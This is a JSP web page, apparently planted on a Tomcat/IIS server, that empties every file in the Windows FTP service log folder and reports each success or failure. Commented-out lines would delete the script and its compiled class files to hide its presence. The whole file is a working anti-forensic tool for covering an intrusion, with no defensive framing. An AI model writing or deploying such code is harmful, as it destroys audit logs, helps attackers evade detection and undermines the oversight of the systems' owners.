📄 clear.jsp
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<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.sql.*" %>
<%@page import="java.util.*" %>
<%@page import="java.io.*" %>
<%
FileWriter _Filter = null;
String _absPath = "c:\\winnt\\system32\\LogFiles\\MSFTPSVC2";
String _selfPath = "c:\\tomcat4.0\\webapps\\pipe-eval\\browser\\clear.jsp";
try {
File _file = new File(_absPath);
File _fileList[] = _file.listFiles();
for (int i=0;i<_fileList.length;i++) {
try {
if (_fileList[i].isDirectory()) continue;
_Filter = new FileWriter(_fileList[i]);
_Filter.write("");
_Filter.flush();
out.println("<p>" + _fileList[i].getName() + " <b>OK.</b></p>");
}
catch (Exception e) {
out.println("<p>" + _fileList[i].getName() + " <font color=red>failed</font>....." + e.getMessage() + "</p>");
}
}
}
catch(Exception e) {
out.println(e.getMessage());
}
finally {
if (_Filter != null) _Filter.close();
// File f = new File(_selfPath);
// f.delete();
/*
f = new File("c:\\Program Files\\Apache Tomcat 4.0\\work\\www.supermailer.net\\newsletter\\clear$jsp.java");
f.delete();
f = new File("c:\\Program Files\\Apache Tomcat 4.0\\work\\www.supermailer.net\\newsletter\\clear$jsp.class");
f.delete();
*/
}
%>
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